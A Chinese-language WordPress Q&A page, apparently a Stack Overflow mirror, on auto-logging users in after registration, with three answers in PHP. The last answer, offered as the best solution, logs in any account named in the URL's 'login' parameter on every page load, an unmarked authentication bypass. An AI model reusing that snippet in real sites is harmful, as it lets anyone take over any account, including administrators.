2013-04-24 142 views
1

我想在註冊後自動登錄用戶。註冊後的自動登錄用戶Wordpress

我想這(的functions.php):

add_action('user_register', 'auto_login_user'); 
    function auto_login_user($user_id) { 
     $user = new WP_User($user_id); 
     $user_login_var = $user->user_login; 
     $user_email_var = stripslashes($user->user_email); 
     $user_pass_var = $user->user_pass; 
     $creds = array(); 
     $creds['user_login'] = $user_login_var; 
     $creds['user_password'] = $user_pass_var; 
     $creds['remember'] = true; 
     $user = wp_signon($creds, false); 
     if (is_wp_error($user)) 
     echo $user->get_error_message(); 

} 

我收到錯誤:你的用戶名 「TheNewUserCreated」 輸入的密碼不正確。忘記密碼?

如何從用戶對象獲取密碼?

也因爲這是模板的自定義註冊過程和registration.php我試圖把它與$ _ POST並在該文件運行該功能,但我沒有任何成功,這樣太...

編輯: 好吧,我正在獲取加密的密碼,那麼這裏有什麼解決方案,我該如何自動登錄用戶?也許我可以在registration.php頁面做到這一點?

+0

詳細的博客:http://sforsuresh.in/auto-login-wordpress/ – 2018-01-09 10:42:49

回答

1

如果您使用wp_insert_user();註冊您的用戶,然後自動登錄它很簡單。 如果成功,此函數返回用戶ID,因此請使用它來登錄該用戶。

$id = wp_insert_user($data); 
//so if the return is not an wp error object then continue with login 
if(!is_wp_error($id)){ 
    wp_set_current_user($id); // set the current wp user 
    wp_set_auth_cookie($id); // start the cookie for the current registered user 
} 

,但跟着你有什麼就可以是這樣的:

add_action('user_register', 'auto_login_user'); 
function auto_login_user($user_id) { 
    wp_set_current_user($user_id); // set the current wp user 
    wp_set_auth_cookie($user_id); // start the cookie for the current registered user 
} 
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :) 
1
Add below function to "functions.php" 

function auto_login_new_user($user_id) { 
     wp_set_current_user($user_id); 
     wp_set_auth_cookie($user_id); 
      // You can change home_url() to the specific URL,such as 
     //wp_redirect('http://www.wpcoke.com'); 
     wp_redirect(home_url()); 
     exit; 
    } 
    add_action('user_register', 'auto_login_new_user'); 
0
function auto_login() { 
      $getuserdata=get_user_by('login',$_GET['login']); 
      $tuserid=$getuserdata->ID; 
      $user_id = $tuserid; 
      $user = get_user_by('id', $user_id); 
      if($user) { 
       wp_set_current_user($user_id, $user->user_login); 
       wp_set_auth_cookie($user_id); 
       do_action('wp_login', $user->user_login); 

      } 
     } 
     add_action('init', 'auto_login'); 

我有有同樣的問題,因爲你,發現這個最佳的解決方案。在你的functions.php文件中試試這個。還有一件事更多使用提交您的重置表單在函數function.php文件